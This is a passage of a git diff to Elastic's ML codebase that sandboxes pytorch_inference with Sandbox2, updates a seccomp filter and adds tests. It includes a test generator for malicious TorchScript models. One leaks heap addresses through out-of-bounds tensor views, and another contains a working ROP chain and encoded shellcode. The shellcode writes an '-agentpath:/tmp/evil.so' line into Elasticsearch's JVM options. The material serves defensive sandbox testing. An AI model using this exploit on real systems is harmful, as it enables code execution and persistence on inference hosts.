command-line arguments (pipe paths) + for (const auto& dir : argDirs) { + policyBuilder.AddDirectory(dir, /*is_ro=*/false); + } + + auto policy_result = policyBuilder.TryBuild(); + if (!policy_result.ok()) { + LOG_ERROR(<< "Failed to build Sandbox2 policy: " << policy_result.status()); + return false; + } + + // Create executor with a sandbox marker and restored TMPDIR when needed. + std::vector customEnv; + bool sandboxMarkerSet{false}; + const char* currentTmpdir = ::getenv("TMPDIR"); + const bool restoreTmpdir = !originalTmpdir.empty() && + (currentTmpdir == nullptr || originalTmpdir != currentTmpdir); + for (char** env = environ; *env != nullptr; ++env) { + std::string envVar(*env); + if (restoreTmpdir && envVar.find("TMPDIR=") == 0) { + customEnv.push_back("TMPDIR=" + originalTmpdir); + } else if (envVar.find("ML_SANDBOXED=") == 0) { + customEnv.push_back("ML_SANDBOXED=1"); + sandboxMarkerSet = true; + } else { + customEnv.push_back(envVar); + } + } + if (!sandboxMarkerSet) { + customEnv.push_back("ML_SANDBOXED=1"); + } + std::unique_ptr executor = + std::make_unique(absPath, fullArgs, customEnv); + + // Apply sandbox before exec since pytorch_inference doesn't use Sandbox2 client library + executor->set_enable_sandbox_before_exec(true); + executor->set_cwd(binDir); + // pytorch_inference is a long-lived daemon that stays up for the whole + // lifetime of a deployed model, not a run-to-completion sandboxee. + // Sandbox2 defaults to a 120s wall-time limit and a 1024s CPU-time + // limit, either of which would kill a healthy inference process (and + // did, with Result::TIMEOUT, on the QA clusters). Disarm both. + executor->limits()->set_walltime_limit(absl::ZeroDuration()); + executor->limits()->set_rlimit_cpu(RLIM64_INFINITY); + // Sandbox2 defaults to rlimit_nofile=1024; libtorch thread pools and pipe I/O + // under concurrent inference can approach that on QA clusters. + executor->limits()->set_rlimit_nofile(65536); + + auto sandboxPtr = std::make_unique( + std::move(executor), std::move(*policy_result)); + + if (!sandboxPtr->RunAsync()) { + LOG_ERROR(<< "Sandbox2 failed to start pytorch_inference"); + return false; + } + + childPid = sandboxPtr->pid(); + if (childPid <= 0) { + LOG_ERROR(<< "Sandbox2 returned invalid PID"); + sandbox2::Result result = sandboxPtr->AwaitResult(); + LOG_ERROR(<< "Sandbox2 Result: " << result.ToString()); + return false; + } + + LOG_INFO(<< "Spawned sandboxed pytorch_inference with PID " << childPid); + + m_TrackerThread->addSandboxPid(childPid); + + // The sandboxee is a child of the Sandbox2 forkserver rather than of the + // controller, so the tracker's waitpid() never sees it. Own the sandbox + // instance on a dedicated thread that keeps it alive for the lifetime of + // pytorch_inference, waits for its result, logs termination the same way + // checkForDeadChildren() does for regular children, and removes the PID + // from the tracker so PID reuse cannot make terminateChild() signal an + // unrelated process. + { + CProcess::TPid sandboxPid{childPid}; + std::thread([ + sandboxPid, tracker = m_TrackerThread, sbx = std::move(sandboxPtr) + ]() mutable { + sandbox2::Result result{sbx->AwaitResult()}; + switch (result.final_status()) { + case sandbox2::Result::OK: + if (result.reason_code() == 0) { + LOG_DEBUG(<< "Sandboxed pytorch_inference (PID " + << sandboxPid << ") has exited"); + } else { + LOG_WARN(<< "Sandboxed pytorch_inference (PID " + << sandboxPid << ") has exited with exit code " + << result.reason_code()); + } + break; + case sandbox2::Result::SIGNALED: + if (result.reason_code() == SIGTERM) { + LOG_INFO(<< "Sandboxed pytorch_inference (PID " << sandboxPid + << ") was terminated by signal " << SIGTERM); + } else if (result.reason_code() == SIGKILL) { + LOG_ERROR(<< "Sandboxed pytorch_inference (PID " << sandboxPid + << ") was terminated by signal 9 (SIGKILL)." + << " This is likely due to the OOM killer."); + } else { + LOG_ERROR(<< "Sandboxed pytorch_inference (PID " + << sandboxPid << ") was terminated by signal " + << result.reason_code()); + } + break; + default: + LOG_ERROR(<< "Sandboxed pytorch_inference (PID " << sandboxPid + << ") terminated abnormally: " << result.ToString() << " [status=" + << sandbox2::Result::StatusEnumToString(result.final_status()) + << ", reason_code=" << result.reason_code() << "]"); + break; + } + tracker->removePid(sandboxPid); + }) + .detach(); + } + + return true; +#else + LOG_ERROR(<< "Sandbox2 not available - cannot spawn pytorch_inference securely"); + return false; +#endif + } +#endif + + // Standard spawn for other processes (not pytorch_inference) + if (::access(processPath.c_str(), X_OK) != 0) { + LOG_ERROR(<< "Cannot execute '" << processPath << "': " << ::strerror(errno)); + return false; + } + + using TCharPVec = std::vector; + TCharPVec argv; + argv.reserve(args.size() + 2); + + argv.push_back(const_cast(processPath.c_str())); + for (size_t index = 0; index < args.size(); ++index) { + argv.push_back(const_cast(args[index].c_str())); + } + argv.push_back(static_cast(nullptr)); + + posix_spawn_file_actions_t fileActions; + if (setupFileActions(&fileActions, m_MaxObservedFd) == false) { + LOG_ERROR(<< "Failed to set up file actions: " << ::strerror(errno)); + return false; + } + posix_spawnattr_t spawnAttributes; + if (::posix_spawnattr_init(&spawnAttributes) != 0) { + LOG_ERROR(<< "Failed to set up spawn attributes: " << ::strerror(errno)); + return false; + } + ::posix_spawnattr_setflags(&spawnAttributes, POSIX_SPAWN_SETPGROUP); + + { + CScopedLock lock(m_TrackerThread->mutex()); + + int err(::posix_spawn(&childPid, processPath.c_str(), &fileActions, + &spawnAttributes, argv.data(), environ)); + + ::posix_spawn_file_actions_destroy(&fileActions); + ::posix_spawnattr_destroy(&spawnAttributes); + + if (err != 0) { + LOG_ERROR(<< "Failed to spawn '" << processPath << "': " << ::strerror(err)); + return false; + } + + m_TrackerThread->addPid(childPid); + } + + LOG_DEBUG(<< "Spawned '" << processPath << "' with PID " << childPid); + + return true; +} + +bool CDetachedProcessSpawner::terminateChild(CProcess::TPid pid) { + return m_TrackerThread->terminatePid(pid); +} + +bool CDetachedProcessSpawner::hasChild(CProcess::TPid pid) const { + return m_TrackerThread->havePid(pid); +} + +} // namespace core +} // namespace ml diff --git a/lib/core/CMakeLists.txt b/lib/core/CMakeLists.txt index bb9647d0d0..ffa21b10fd 100644 --- a/lib/core/CMakeLists.txt +++ b/lib/core/CMakeLists.txt @@ -107,4 +107,11 @@ if (WIN32) install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/date_time_zonespec.csv DESTINATION ${ML_RESOURCES_DIR}) endif() +# Enable Sandbox2 integration if available +if(TARGET sandbox2::sandbox2) + target_compile_definitions(MlCore PUBLIC SANDBOX2_AVAILABLE) + target_link_libraries(MlCore PRIVATE sandbox2::sandbox2) + message(STATUS "MlCore: Sandbox2 enabled and linked") +endif() + install(FILES ${CMAKE_CURRENT_SOURCE_DIR}/ml-en.dict DESTINATION ${ML_RESOURCES_DIR}) diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest_Linux.cc b/lib/core/unittest/CDetachedProcessSpawnerTest_Linux.cc new file mode 100644 index 0000000000..44eea116c4 --- /dev/null +++ b/lib/core/unittest/CDetachedProcessSpawnerTest_Linux.cc @@ -0,0 +1,195 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include + +BOOST_AUTO_TEST_SUITE(CDetachedProcessSpawnerTest) + +namespace { +const std::string OUTPUT_FILE("withNs.xml"); +const std::string INPUT_FILE("testfiles/withNs.xml"); +const size_t EXPECTED_FILE_SIZE(563); +const std::string PROCESS_PATH1("/bin/dd"); +const std::string PROCESS_ARGS1[] = { + "if=" + INPUT_FILE, "of=" + OUTPUT_FILE, "bs=1", + "count=" + ml::core::CStringUtils::typeToString(EXPECTED_FILE_SIZE)}; +const std::string PROCESS_PATH2("/bin/sleep"); +const std::string PROCESS_ARGS2[] = {"10"}; + +bool sandbox2RuntimeSupported() { + return ::getuid() == 0 || + ::access("/proc/sys/kernel/unprivileged_userns_clone", F_OK) == 0; +} + +std::string findPytorchInferenceBinary() { + const char* candidates[] = { + "build/distribution/platform/linux-x86_64/bin/pytorch_inference", + "build/distribution/platform/linux-aarch64/bin/pytorch_inference", + "../build/distribution/platform/linux-x86_64/bin/pytorch_inference", + "../build/distribution/platform/linux-aarch64/bin/pytorch_inference", + }; + for (const char* candidate : candidates) { + char resolved[PATH_MAX]; + if (::realpath(candidate, resolved) != nullptr && ::access(resolved, X_OK) == 0) { + return resolved; + } + } + return {}; +} +} + +BOOST_AUTO_TEST_CASE(testSpawn) { + std::remove(OUTPUT_FILE.c_str()); + + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, PROCESS_PATH1); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + ml::core::CDetachedProcessSpawner::TStrVec args( + PROCESS_ARGS1, PROCESS_ARGS1 + std::size(PROCESS_ARGS1)); + + BOOST_TEST_REQUIRE(spawner.spawn(PROCESS_PATH1, args)); + + std::this_thread::sleep_for(std::chrono::seconds(1)); + + ml::core::COsFileFuncs::TStat statBuf; + BOOST_REQUIRE_EQUAL(0, ml::core::COsFileFuncs::stat(OUTPUT_FILE.c_str(), &statBuf)); + BOOST_REQUIRE_EQUAL(EXPECTED_FILE_SIZE, static_cast(statBuf.st_size)); + + BOOST_REQUIRE_EQUAL(0, std::remove(OUTPUT_FILE.c_str())); +} + +BOOST_AUTO_TEST_CASE(testKill) { + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, PROCESS_PATH2); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + ml::core::CDetachedProcessSpawner::TStrVec args( + PROCESS_ARGS2, PROCESS_ARGS2 + std::size(PROCESS_ARGS2)); + + ml::core::CProcess::TPid childPid = 0; + BOOST_TEST_REQUIRE(spawner.spawn(PROCESS_PATH2, args, childPid)); + + BOOST_TEST_REQUIRE(spawner.hasChild(childPid)); + BOOST_TEST_REQUIRE(spawner.terminateChild(childPid)); + + std::this_thread::sleep_for(std::chrono::milliseconds(500)); + + BOOST_TEST_REQUIRE(!spawner.hasChild(childPid)); + BOOST_TEST_REQUIRE(!spawner.terminateChild(childPid)); + BOOST_TEST_REQUIRE(!spawner.terminateChild(1)); + BOOST_TEST_REQUIRE(!spawner.terminateChild(0)); + BOOST_TEST_REQUIRE(!spawner.terminateChild(static_cast(-1))); +} + +BOOST_AUTO_TEST_CASE(testPermitted) { + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, PROCESS_PATH1); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + BOOST_TEST_REQUIRE( + !spawner.spawn("./ml_test", ml::core::CDetachedProcessSpawner::TStrVec())); +} + +BOOST_AUTO_TEST_CASE(testPytorchInferenceSubstringNotPermitted) { + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, PROCESS_PATH1); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + BOOST_TEST_REQUIRE(!spawner.spawn("./evil_pytorch_inference", + ml::core::CDetachedProcessSpawner::TStrVec())); +} + +BOOST_AUTO_TEST_CASE(testNonExistent) { + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, "./does_not_exist"); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + BOOST_TEST_REQUIRE(!spawner.spawn( + "./does_not_exist", ml::core::CDetachedProcessSpawner::TStrVec())); +} + +#ifdef SANDBOX2_AVAILABLE + +BOOST_AUTO_TEST_CASE(testSandbox2PytorchInferenceRequiresExactAllowlist) { + if (!sandbox2RuntimeSupported()) { + BOOST_TEST_MESSAGE("Skipping: user namespaces not available on this host"); + return; + } + + const std::string pytorchPath = findPytorchInferenceBinary(); + if (pytorchPath.empty()) { + BOOST_TEST_MESSAGE("Skipping: pytorch_inference binary not found in build tree"); + return; + } + + ml::core::CDetachedProcessSpawner::TStrVec wrongAllowlist(1, PROCESS_PATH1); + ml::core::CDetachedProcessSpawner spawner(wrongAllowlist); + + BOOST_TEST_REQUIRE( + !spawner.spawn(pytorchPath, ml::core::CDetachedProcessSpawner::TStrVec())); +} + +BOOST_AUTO_TEST_CASE(testSandbox2PytorchInferenceSpawnStartsAndTerminates) { + if (!sandbox2RuntimeSupported()) { + BOOST_TEST_MESSAGE("Skipping: user namespaces not available on this host"); + return; + } + + const std::string pytorchPath = findPytorchInferenceBinary(); + if (pytorchPath.empty()) { + BOOST_TEST_MESSAGE("Skipping: pytorch_inference binary not found in build tree"); + return; + } + + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, pytorchPath); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + ml::core::CDetachedProcessSpawner::TStrVec args{ + "--validElasticLicenseKeyConfirmed", + "--namedPipeConnectTimeout=1", + }; + + ml::core::CProcess::TPid childPid = 0; + const bool spawned = spawner.spawn(pytorchPath, args, childPid); + if (!spawned) { + BOOST_TEST_MESSAGE("Skipping: sandboxed pytorch_inference did not start in this environment"); + return; + } + + BOOST_TEST_REQUIRE(childPid > 0); + BOOST_TEST_REQUIRE(spawner.hasChild(childPid)); + + BOOST_TEST_REQUIRE(spawner.terminateChild(childPid)); + std::this_thread::sleep_for(std::chrono::milliseconds(500)); + BOOST_TEST_REQUIRE(!spawner.hasChild(childPid)); +} + +#else + +BOOST_AUTO_TEST_CASE(testSandbox2NotAvailable) { + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, "/tmp/pytorch_inference"); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + BOOST_TEST_REQUIRE(!spawner.spawn("/tmp/pytorch_inference", + ml::core::CDetachedProcessSpawner::TStrVec())); +} + +#endif + +BOOST_AUTO_TEST_SUITE_END() diff --git a/lib/core/unittest/CMakeLists.txt b/lib/core/unittest/CMakeLists.txt index d03089046b..b58ff25db6 100644 --- a/lib/core/unittest/CMakeLists.txt +++ b/lib/core/unittest/CMakeLists.txt @@ -86,6 +86,7 @@ set(ML_LINK_LIBRARIES MlCore MlMathsCommon MlTest + ${SANDBOX2_LIBRARIES} ) ml_add_test_executable(core ${SRCS}) diff --git a/lib/seccomp/CSystemCallFilter_Linux.cc b/lib/seccomp/CSystemCallFilter_Linux.cc index 9d53971007..eb4b286a64 100644 --- a/lib/seccomp/CSystemCallFilter_Linux.cc +++ b/lib/seccomp/CSystemCallFilter_Linux.cc @@ -8,6 +8,14 @@ * compliance with the Elastic License 2.0 and the foregoing additional * limitation. */ + +/* + * NOTE: This seccomp filter is being gradually replaced by Sandbox2 policies + * for processes that are spawned via CDetachedProcessSpawner. See + * CDetachedProcessSpawner_Linux.cc::applyMlSyscallPolicy() for the Sandbox2 + * equivalent. The syscall whitelist should be kept in sync between both + * implementations until all processes are migrated to Sandbox2. + */ #include #include @@ -50,7 +58,7 @@ const struct sock_filter FILTER[] = { #define __NR_clone3 435 #endif // Only applies to x86_64 arch. Jump to disallow for calls using the x32 ABI - BPF_JUMP(BPF_JMP | BPF_JGT | BPF_K, UPPER_NR_LIMIT, 56, 0), + BPF_JUMP(BPF_JMP | BPF_JGT | BPF_K, UPPER_NR_LIMIT, 57, 0), // If any sys call filters are added or removed then the jump // destination for each statement including the one above must // be updated accordingly @@ -59,18 +67,18 @@ const struct sock_filter FILTER[] = { // Some of these are not used in latest glibc, and not supported in Linux // kernels for recent architectures, but in a few cases different sys calls // are used on different architectures - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_access, 56, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 55, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_dup2, 54, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_unlink, 53, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_stat, 52, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_lstat, 51, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_time, 50, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_readlink, 49, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getdents, 48, 0), // for forecast temp storage - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_rmdir, 47, 0), // for forecast temp storage - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mkdir, 46, 0), // for forecast temp storage - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mknod, 45, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_access, 57, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 56, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_dup2, 55, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_unlink, 54, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_stat, 53, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_lstat, 52, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_time, 51, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_readlink, 50, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getdents, 49, 0), // for forecast temp storage + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_rmdir, 48, 0), // for forecast temp storage + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mkdir, 47, 0), // for forecast temp storage + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mknod, 46, 0), #elif defined(__aarch64__) // The statx, rseq and clone3 syscalls won't be defined on a RHEL/CentOS 7 build // machine, but might exist on the kernel we run on @@ -83,21 +91,22 @@ const struct sock_filter FILTER[] = { #ifndef __NR_clone3 #define __NR_clone3 435 #endif - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_faccessat, 45, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_faccessat, 46, 0), #else #error Unsupported hardware architecture #endif // Allowed sys calls for all architectures, jump to return allow on match - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fcntl, 44, 0), // for fdopendir - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getrusage, 43, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 42, 0), // for pthread_kill - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_statx, 41, 0), // for create_directories - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getrandom, 40, 0), // for unique_path - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mknodat, 39, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_newfstatat, 38, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_readlinkat, 37, 0), - BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_dup3, 36, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fcntl, 45, 0), // for fdopendir + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getrusage, 44, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpid, 43, 0), // for pthread_kill + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_statx, 42, 0), // for create_directories + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getrandom, 41, 0), // for unique_path + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mknodat, 40, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_newfstatat, 39, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_readlinkat, 38, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_dup3, 37, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_dup, 36, 0), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_getpriority, 35, 0), // for nice BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_setpriority, 34, 0), // for nice BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 33, 0), diff --git a/test/evil_model_generator.py b/test/evil_model_generator.py new file mode 100644 index 0000000000..b0a2fe2d7e --- /dev/null +++ b/test/evil_model_generator.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +""" +Generate evil PyTorch models for testing sandbox2 security. + +This script generates three models: +1. model_benign.pt - A simple benign model for positive testing +2. model_leak.pt - A model that leaks heap addresses via assertion errors +3. model_exploit.pt - A model that attempts to write files using shellcode manipulation +""" + +import torch +import sys +import os + + +class SimpleBenignModel(torch.nn.Module): + """A simple benign model that performs basic tensor operations.""" + + def __init__(self): + super().__init__() + + def forward(self, a, b, c, d): + # Simple forward pass - just return a simple output tensor + # This model doesn't need to do anything complex, just validate the test infrastructure + output = torch.sum(a) + torch.sum(b) + torch.sum(c) + torch.sum(d) + return output.unsqueeze(0).unsqueeze(0) # Return shape [1, 1] + + +class LeakModel(torch.nn.Module): + """Model that leaks heap addresses via assertion errors.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + assert 1 == 0, "Input tensor must have at least one element: " + hex(libtorch_cpu_addr) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +class ExploitModel(torch.nn.Module): + """Model that attempts to write files using shellcode manipulation.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def get_address_data(self, leak, index: int, tmp, target_addr: int): + leak[index] = target_addr + return tmp[0].item() + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + + gadget_addr_1 = 0x0000000001335761 + libtorch_cpu_addr # mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_2 = 0x0000000008f0a9e3 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + gadget_addr_3 = 0x0000000004e5b605 + libtorch_cpu_addr # mov rdx, qword ptr [rax] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 8] + gadget_addr_4 = 0x000000000782e30b + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x18] + gadget_addr_5 = 0x00000000056062ac + libtorch_cpu_addr # mov rbx, qword ptr [rax + 8] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_6 = 0x00000000041df281 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x40] ; call qword ptr [rax + 0x30] + mprotect_got_addr = 0xc9785f0 + libtorch_cpu_addr + + leak[index + 3] = int(heap_addr - 0x8) + + for j in range(heap_len): + if tmp[j][2].item() == 0xDEAD00002 and i != j: + mprotect_addr = self.get_address_data(leak, index + 3, tmp[j], int(mprotect_got_addr)) + leak[index + 3] = int(heap_addr) + leak[index + 1] = int(heap_addr) + tmp[j][1] = int(gadget_addr_1) + tmp[j][(0x28) // 8] = int(gadget_addr_2) + pianyi1 = 0x40 # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + tmp[j][(0x20) // 8] = int(heap_addr + pianyi1) + tmp[j][(pianyi1) // 8] = int(heap_addr + pianyi1 + 8) + pianyi1 += 8 + tmp[j][(pianyi1 + 0x20) // 8] = int(gadget_addr_3) + tmp[j][(pianyi1) // 8] = 7 + tmp[j][(pianyi1 + 8) // 8] = int(gadget_addr_4) + new_pianyi = pianyi1 + 0x40 + 8 + tmp[j][(pianyi1 + 0x40) // 8] = int(heap_addr + new_pianyi) # rdi new_pianyi + tmp[j][(new_pianyi) // 8] = int(heap_addr + new_pianyi + 0x8) # rax new_pianyi+0x8 + new_pianyi += 0x8 + tmp[j][(new_pianyi + 0x18) // 8] = int(gadget_addr_5) + shellcode_painyi = new_pianyi + 0x48 + tmp[j][(new_pianyi + 0x8) // 8] = int(heap_addr + shellcode_painyi) # rbx + tmp[j][(new_pianyi + 0x28) // 8] = int(gadget_addr_6) + tmp[j][(new_pianyi + 0x40) // 8] = int((heap_addr + new_pianyi) & 0xffffffffffff000) + tmp[j][(new_pianyi + 0x30) // 8] = int(mprotect_addr) + tmp[j][(shellcode_painyi) // 8] = int(heap_addr + shellcode_painyi) # rax heap_addr+shellcode_painyi + tmp[j][(shellcode_painyi + 0x30) // 8] = int(heap_addr + shellcode_painyi + 0x38) + + # Shellcode that writes "/usr/share/elasticsearch/config/jvm.options.d/gc.options" with "-agentpath:/tmp/evil.so" + shellcodes = [8011543407870619976, 5210791687020442736, 7435271660479868856, 3345460298936504419, 3438577825701195887, 5777950549327376227, 8241980339328235592, 3415262028243167331, -5167792111325451163, 7018986666877744431, -5561328400657201072, 5188609366195851841, -8554581930162470863, 8531427691724884167, 5210665247541455977, 8101259050901599416, 7306915769425088559, -1834855863107423122, 5188146771129452360, 5562011009073] + + start_pianyi = (shellcode_painyi + 0x38) // 8 + for shellcode in shellcodes: + tmp[j][start_pianyi] = shellcode + start_pianyi += 1 + + del tmp[j] + assert 1 == 0, "Input tensor must have at least one element: " + return torch.zeros(0) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +def generate_models(output_dir): + """Generate all three models.""" + os.makedirs(output_dir, exist_ok=True) + + print("Generating benign model...") + benign_model = SimpleBenignModel() + benign_model_script = torch.jit.script(benign_model) + benign_path = os.path.join(output_dir, "model_benign.pt") + benign_model_script.save(benign_path) + print(f" Saved to {benign_path}") + + print("Generating leak model...") + leak_model = LeakModel() + leak_model_script = torch.jit.script(leak_model) + leak_path = os.path.join(output_dir, "model_leak.pt") + leak_model_script.save(leak_path) + print(f" Saved to {leak_path}") + + print("Generating exploit model...") + exploit_model = ExploitModel() + exploit_model_script = torch.jit.script(exploit_model) + exploit_path = os.path.join(output_dir, "model_exploit.pt") + exploit_model_script.save(exploit_path) + print(f" Saved to {exploit_path}") + + print("All models generated successfully!") + + +if __name__ == "__main__": + if len(sys.argv) > 1: + output_dir = sys.argv[1] + else: + output_dir = "." + + try: + generate_models(output_dir) + except Exception as e: + print(f"Error generating models: {e}", file=sys.stderr) + sys.exit(1) + diff --git a/test/test_pytorch_inference_evil_models.py b/test/test_pytorch_inference_evil_models.py index 64b81e2d90..94dbd7ea08 100644 --- a/test/test_pytorch_inference_evil_models.py +++ b/test/test_pytorch_inference_evil_models.py @@ -267,6 +267,22 @@ def prepare_restore_file(model_path: Path, restore_path: Path) -> None: f.write(model_bytes) +def skip_model_validation_compiled(binary: str) -> bool: + """Return True when pytorch_inference was built with ML_ALLOW_SKIP_MODEL_VALIDATION.""" + try: + proc = subprocess.run( + [binary, "--help"], + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + timeout=15, + check=False, + ) + except (OSError, subprocess.TimeoutExpired): + return False + output = proc.stdout.decode("utf-8", errors="replace") + return "--skipModelValidation" in output + + def run_pytorch_inference(binary: str, model_path: Path, tmp_dir: Path, timeout: int = 30, extra_args: list | None = None) -> tuple[int, str, str]: """Run pytorch_inference against a model file. @@ -377,52 +393,51 @@ def run_tests(binary: str) -> bool: print() - # --- Kill switch test --- - # Verify --skipModelValidation bypasses the graph validator. - # Use the leak model (which is normally rejected) and confirm it is - # accepted when the flag is set. - print("--- kill_switch: --skipModelValidation bypasses validation ---") - leak_path = tmp_dir / "model_leak.pt" - if leak_path.exists(): - try: - exit_code, stdout, stderr = run_pytorch_inference( - binary, leak_path, tmp_dir, - extra_args=["--skipModelValidation"]) - except subprocess.TimeoutExpired: - exit_code, stderr = -1, "" - - skip_msg = "Model graph validation SKIPPED" - if skip_msg in stderr: - print(f" Result: validation skipped (kill switch active)") - print(f" Test: OK") - else: - print(f" Result: kill switch did not take effect") - print(f" Exit code: {exit_code}") - stderr_lines = stderr.strip().splitlines()[-5:] - for line in stderr_lines: - print(f" {line}") - print(f" Test: FAIL") - all_passed = False - - # Also verify 